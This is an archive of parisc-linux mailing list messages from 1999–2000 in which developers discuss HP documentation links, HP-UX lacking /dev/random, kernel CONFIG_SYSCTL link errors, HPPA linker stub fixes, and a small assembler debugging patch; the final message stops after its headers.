Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Fri, 19 Mar 1999 01:58:51 -0500
Organization: mozilla.org diplomatic corps
Lines: 20
Approved: news@gmane.org
Message-ID: <36F1F5AB.30E017A3@netscape.com>
References: <199903190135.RAA15176@cllmail.cup.hp.com> <36F1EA5F.C9ED34D7@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618944 481 80.91.229.3 (22 Nov 2014 01:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:44 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Fri Mar 19 01:57:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA10963
	for <hppa-linux@sod.res.cmu.edu>; Fri, 19 Mar 1999 01:57:39 -0500
Original-Received: (qmail 1999 invoked by uid 15267); 19 Mar 1999 06:56:58 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 1992 invoked from network); 19 Mar 1999 06:56:57 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 19 Mar 1999 06:56:57 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id WAA17525
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 22:57:10 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8TXZD00.S64 for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar
          1999 22:57:13 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7374

Mike Shaver wrote:
> When I click on
> http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b541/@Generic__BookView
> (the Assembler Reference Manual from
> http://www.software.hp.com/STK/toc.html#Assembly ) I get an error:
> 
> No item b541 exists in collection dtdcen1a (fbebtcol.cc:1120)
> 
> Is there another place to find it?

Hey look -- there is!
http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b821/@Generic__BookView

Thanks to Pablo for pointing it out.

Mike

-- 
402266.28 345101.43


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 17:38:33 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C2066C157E@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618945 483 80.91.229.3 (22 Nov 2014 01:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:45 +0000 (UTC)
To: "'Peter A. Peterson II'" <pedro@flynn.zork.net>,
        parisc-linux@thepuffingroup.com
Original-X-From: martin_fink@hp.com  Mon May 29 18:38:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA13277
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 18:38:26 -0600
Original-Received: (qmail 27941 invoked by uid 15267); 30 May 2000 00:38:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27931 invoked from network); 30 May 2000 00:38:51 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 00:38:51 -0000
Original-Received: from omgw5.rsvl.itc.hp.com (omgw5.rsvl.itc.hp.com [15.34.240.65])
	by cosrel1.hp.com (Postfix) with ESMTP
	id CB81D2B4; Mon, 29 May 2000 18:38:51 -0600 (MDT)
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by omgw5.rsvl.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id SAA06483;
	Mon, 29 May 2000 18:38:48 -0600 (MDT)
Original-Received: from 15.34.240.67 by xrosebh3.rsvl.itc.hp.com (InterScan E-Mail VirusWall NT); Mon, 29 May 2000 17:38:47 -0700 (Pacific Daylight Time)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2650.21)
	id <LW848ALH>; Mon, 29 May 2000 17:38:47 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7375

Peter -

Sorry to disappoint - /dev/random /dev/urandom are not available
on HP-UX.  Lots of internal discussions inside HP on how/when
to make it available.  No dates.

Martin

+=================================================================+
| Martin Fink                 | E-mail: martin_fink@hp.com        |
| UNIX Systems Enablement Lab | Phone:  970-898-7076              |
| Hewlett-Packard Co.         | FAX:    970-898-2838              |
| 3404 East Harmony Road      | Mobile: 970-215-2451              |
| Ft. Collins, CO             | Page:   9702152451@mobile.att.net |
| 80528, USA                  | Web:    http://www.hp.com/        |
+=================================================================+    
 

> -----Original Message-----
> From: Peter A. Peterson II [mailto:pedro@flynn.zork.net]
> Sent: Monday, May 29, 2000 1:50 AM
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] HP-UX random number generator?
> 
> 
> I'm awaiting the day when I can fool around with Linux on my E-45, but
> in the meantime, I'm trying to use it's tape drive to back up my
> traditional Linux boxen via piping a tarball through ssh.  
> However, ssh 
> needs a random generator (like /dev/urandom/) and I don't 
> know what an 
> HP-UX equivalent might be, or how to go about installing one. 
> 
> Any ideas?
> 
> pedro
> 
> -- 
> -----------------------------------------------
>       "She's laughin in her sleeve, boys;
>    I can feel it in my bones."  -- Tom Waits
> -----------------------------------------------
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_SYSCTL is not set
Date: Mon, 29 May 2000 19:01:07 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200005300201.TAA11206@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618945 487 80.91.229.3 (22 Nov 2014 01:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon May 29 19:59:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA13877
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 19:59:46 -0600
Original-Received: (qmail 31650 invoked by uid 15267); 30 May 2000 02:00:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31639 invoked from network); 30 May 2000 02:00:11 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 02:00:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id BC8119BF
	for <parisc-linux@thepuffingroup.com>; Mon, 29 May 2000 19:00:10 -0700 (PDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id TAA11206 for parisc-linux@thepuffingroup.com; Mon, 29 May 2000 19:01:07 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7376

Hi folks,

By default, CONFIG_SYSCTL is not set.
And I get the following errors when linking:

fs/fs.o: In function `nfs_put_inode':
fs/fs.o(.text+0x399dc): undefined reference to `nfs_debug'
fs/fs.o: In function `L1261':
fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
net/network.a(sunrpc.o): In function `rpc_create_client':
sunrpc.o(.text+0x360): undefined reference to `rpc_debug'

All of these errors are a result of not having globals defined in
net/sunrpc/sysctl.c.  sysctl.o only gets built when CONFIG_SYSCTL=y.


With CONFIG_SYSCTL=y, I get a different linker error
kernel/kernel.o(.data+0x3b4c): undefined reference to `sysrq_enabled'

(which willy already pointed out...See
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/05-May/0103.html)

This is very reproducible (going back and forth) in my build tree.
I don't see how willy got around it.

Do we want the build to work with or without CONFIG_SYSCTL?


>From the Documentation/Configure.help:
|  As it is generally a good thing, you should say Y here unless
|  building a kernel for install/rescue disks or your system is very  
|  limited in memory.

Philipp Rumpf wrote:
> I wouldn't really consider this a bug, but if anyone does he should 
> probably report it to whoever is working on that code in 2.3. 

If anyone wants to build x86 install/rescue disks, I think they can't now.
Either the Configure.help is wrong or the code is wrong.
I don't know how to submit a BUG.
Any pointers on where this bug should go?

thanks,
grant


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Foiled by the linker again
Date: Tue, 30 May 2000 12:49:05 +1000 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005301242190.15777-100000@front.linuxcare.com.au>
References: <m12wXAe-001VqQC@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618945 490 80.91.229.3 (22 Nov 2014 01:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@puffin.external.hp.com
Original-X-From: alan@linuxcare.com.au  Mon May 29 20:48:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA14651
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 20:48:52 -0600
Original-Received: (qmail 20278 invoked by uid 15267); 30 May 2000 02:49:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20262 invoked from network); 30 May 2000 02:49:16 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 02:49:16 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA17966;
	Tue, 30 May 2000 12:49:05 +1000
In-Reply-To: <m12wXAe-001VqQC@chalet>
Xref: news.gmane.org gmane.linux.ports.parisc:7377

On Mon, 29 May 2000 bame@puffin.external.hp.com wrote:

> /home/bame/xc/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../../hppa1.1-linux/lib/libc.a(execve.o): In function `__execve':
> /users/bame/palinux/glibc/posix/../sysdeps/unix/sysv/linux/execve.c:39: undefined reference to `$global$'
> collect2: ld returned 1 exit status

This is a bogus error message.  The real error is that a call to
__pthread_kill_other_threads_np is too far to be reached by a branch so
needs to go through a stub, but the relevant stub
_____long_branch_stub___pthread_kill_other_threads_np isn't found for some
reason.

Chasing it up...

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Foiled by the linker again
Date: Tue, 30 May 2000 16:42:29 +1000 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005301631550.15777-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0005301242190.15777-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618946 492 80.91.229.3 (22 Nov 2014 01:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@puffin.external.hp.com
Original-X-From: alan@linuxcare.com.au  Tue May 30 00:42:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA17322
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 00:42:48 -0600
Original-Received: (qmail 18604 invoked by uid 15267); 30 May 2000 06:43:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18530 invoked from network); 30 May 2000 06:43:03 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 06:43:03 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA27221;
	Tue, 30 May 2000 16:42:29 +1000
In-Reply-To: <Pine.LNX.4.21.0005301242190.15777-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7378

On Tue, 30 May 2000, Alan Modra wrote:

> On Mon, 29 May 2000 bame@puffin.external.hp.com wrote:
> 
> > /home/bame/xc/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../../hppa1.1-linux/lib/libc.a(execve.o): In function `__execve':
> > /users/bame/palinux/glibc/posix/../sysdeps/unix/sysv/linux/execve.c:39: undefined reference to `$global$'
> > collect2: ld returned 1 exit status
> 
> This is a bogus error message.  The real error is that a call to
> __pthread_kill_other_threads_np is too far to be reached by a branch so
> needs to go through a stub, but the relevant stub
> _____long_branch_stub___pthread_kill_other_threads_np isn't found for some
> reason.
> 
> Chasing it up...

It turned out that elf32_hppa_bfd_final_link_relocate wasn't handling
undefined weak symbols correctly.  I've fixed this, the bogus error
message, and a handfull of other minor things, and commited the fixes to
pehp CVS.

Now I get
$ ld/ld-new -o tar /usr/parisc/lib/crt1.o /usr/parisc/lib/crti.o
/usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/crtbegin.o
-L/usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112 -L/usr/parisc/lib/
rrtar.o -lgcc -lc -lgcc
/usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/crtend.o
/usr/parisc/lib/crtn.o
/usr/parisc/lib//libc.a(nsswitch.o)(.data+0x64): undefined reference to
`_nss_files_getaliasent_r'

which looks like a problem with my glibc build.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SYSCTL is not set
Date: Tue, 30 May 2000 08:53:01 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20000530085301.H7853@linuxcare.com>
References: <200005300201.TAA11206@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618946 497 80.91.229.3 (22 Nov 2014 01:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Tue May 30 01:53:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA17745
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 01:53:23 -0600
Original-Received: (qmail 9515 invoked by uid 15267); 30 May 2000 07:53:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9501 invoked from network); 30 May 2000 07:53:48 -0000
Original-Received: from ppp-1-157.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.157)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 07:53:48 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1204BB006; Tue, 30 May 2000 08:53:01 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200005300201.TAA11206@milano.cup.hp.com>; from grundler@cup.hp.com on Mon, May 29, 2000 at 07:01:07PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7379

Hi Grant,

You probably already worked this out, but mine builds fine with

CONFIG_SYSCTL=y
# CONFIG_MAGIC_SYSRQ is not set

Richard

On Mon, May 29, 2000 at 07:01:07PM -0700, Grant Grundler wrote:
> With CONFIG_SYSCTL=y, I get a different linker error
> kernel/kernel.o(.data+0x3b4c): undefined reference to `sysrq_enabled'
> 
> (which willy already pointed out...See
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/05-May/0103.html)
> 
> This is very reproducible (going back and forth) in my build tree.
> I don't see how willy got around it.


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Finding bogus asm comment chars.
Date: Tue, 30 May 2000 23:03:27 +1000 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005302257120.15777-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618946 500 80.91.229.3 (22 Nov 2014 01:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Tue May 30 07:03:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA21875
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 07:03:12 -0600
Original-Received: (qmail 11061 invoked by uid 15267); 30 May 2000 13:03:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11036 invoked from network); 30 May 2000 13:03:37 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 13:03:37 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA03474
	for <parisc-linux@thepuffingroup.com>; Tue, 30 May 2000 23:03:27 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7380

The following hack might be useful to anyone trying to find `;' chars
buried away in C asm statements.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: app.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/gas/app.c,v
retrieving revision 1.1.1.1
diff -u -p -r1.1.1.1 app.c
--- app.c	2000/05/18 00:37:23	1.1.1.1
+++ app.c	2000/05/30 12:34:34
@@ -34,6 +34,9 @@
 #endif
 #endif
 
+/* We changed the hppa comment char.  Help find C asm that needs fixing.  */
+int found_comment = 0;
+
 #ifdef TC_M68K
 /* Whether we are scrubbing in m68k MRI mode.  This is different from
    flag_m68k_mri, because the two flags will be affected by the .mri
@@ -1161,7 +1164,7 @@ do_scrub_chars (get, tostart, tolen)
 	      && state != 1
 	      && state != 10)
 	    goto de_fault;
-	  /* Fall through.  */
+	  goto dont_count_this_comment;
 	case LEX_IS_COMMENT_START:
 #if defined TC_ARM && defined OBJ_ELF
 	  /* On the ARM, `@' is the comment character.
@@ -1172,6 +1175,8 @@ do_scrub_chars (get, tostart, tolen)
 	  if ((symver_state != NULL) && (*symver_state == 0))
 	    goto de_fault;
 #endif
+	  found_comment = 1;
+	dont_count_this_comment:
 	  do
 	    {
 	      ch = GET ();
Index: read.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/gas/read.c,v
retrieving revision 1.1.1.1
diff -u -p -r1.1.1.1 read.c
--- read.c	2000/05/18 00:37:23	1.1.1.1
+++ read.c	2000/05/30 12:35:03
@@ -1102,6 +1102,11 @@ read_a_source_file (name)
   md_cleanup();
 #endif
   input_scrub_close ();		/* Close the input file */
+  {
+    extern int found_comment;
+    if (found_comment)
+      as_warn ("comments be here");
+  }
 }
 
 /* For most MRI pseudo-ops, the line actually ends at the first


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Foiled by the linker again
Date: Tue, 30 May 2000 09:11:19 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <E12wnfr-0007iW-00@endor.fc.hp.com>
References: <Pine.LNX.4.21.0005301631550.15777-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618946 506 80.91.229.3 (22 Nov 2014 01:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:46 +0000 (UTC)
Cc: bame@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@endor.fc.hp.com  Tue May 30 09:10:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22945
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 09:10:54 -0600
Original-Received: (qmail 9276 invoked by uid 15267); 30 May 2000 15:11:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9266 invoked from network); 30 May 2000 15:11:20 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 15:11:20 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 49B3C13E; Tue, 30 May 2000 11:11:20 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 8E1874FD84; Tue, 30 May 2000 10:11:19 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12wnfr-0007iW-00; Tue, 30 May 2000 09:11:19 -0600
In-reply-to: Your message of "Tue, 30 May 2000 16:42:29 +1000."
             <Pine.LNX.4.21.0005301631550.15777-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7381

= On Tue, 30 May 2000, Alan Modra wrote:
= 
= > On Mon, 29 May 2000 bame@puffin.external.hp.com wrote:
= > 
= > > /home/bame/xc/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../.
./hppa1.1-linux/lib/libc.a(execve.o): In function `__execve':
= > > /users/bame/palinux/glibc/posix/../sysdeps/unix/sysv/linux/execve.c:39: u
ndefined reference to `$global$'
= > > collect2: ld returned 1 exit status
= > 
= > This is a bogus error message.  The real error is that a call to
= > __pthread_kill_other_threads_np is too far to be reached by a branch so
= > needs to go through a stub, but the relevant stub
= > _____long_branch_stub___pthread_kill_other_threads_np isn't found for some
= > reason.
= > 
= > Chasing it up...
= 
= It turned out that elf32_hppa_bfd_final_link_relocate wasn't handling
= undefined weak symbols correctly.  I've fixed this, the bogus error
= message, and a handfull of other minor things, and commited the fixes to
= pehp CVS.
= 
= Now I get
= $ ld/ld-new -o tar /usr/parisc/lib/crt1.o /usr/parisc/lib/crti.o
= /usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/crtbegin.o
= -L/usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112 -L/usr/parisc/lib/
= rrtar.o -lgcc -lc -lgcc
= /usr/parisc/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/crtend.o
= /usr/parisc/lib/crtn.o
= /usr/parisc/lib//libc.a(nsswitch.o)(.data+0x64): undefined reference to
= `_nss_files_getaliasent_r'
= 
= which looks like a problem with my glibc build.

Yup.  Grab the file glibc/PARISC-EXTRA-FILES which contains a list of
the missing .o files which you can add by hand with 'hppa1.1-linux-ar'.

	-P


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SYSCTL is not set
Date: Tue, 30 May 2000 09:15:44 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <E12wnk8-0007jZ-00@endor.fc.hp.com>
References: <200005300201.TAA11206@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618947 768 80.91.229.3 (22 Nov 2014 01:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bame@endor.fc.hp.com  Tue May 30 09:15:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23150
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 09:15:20 -0600
Original-Received: (qmail 12865 invoked by uid 15267); 30 May 2000 15:15:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12856 invoked from network); 30 May 2000 15:15:46 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 15:15:46 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel2.hp.com (Postfix) with ESMTP id CF5E6CAD
	for <parisc-linux@thepuffingroup.com>; Tue, 30 May 2000 11:15:45 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12wnk8-0007jZ-00; Tue, 30 May 2000 09:15:44 -0600
In-reply-to: Your message of "Mon, 29 May 2000 19:01:07 PDT."
             <200005300201.TAA11206@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7382


As a temporary hack, I changed arch/parisc/defconfig to enable
CONFIG_SYSCTL and defined sysrq_enabled in arch/parisc/kernel/setup.c.
The kernel will link this way at least, but it's not the "right answer".

	-P


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Tue, 30 May 2000 12:00:54 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <20000530120054.F11779@flynn.zork.net>
References: <56D553C0B61BD311AD2300A0C9F485C2066C157E@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
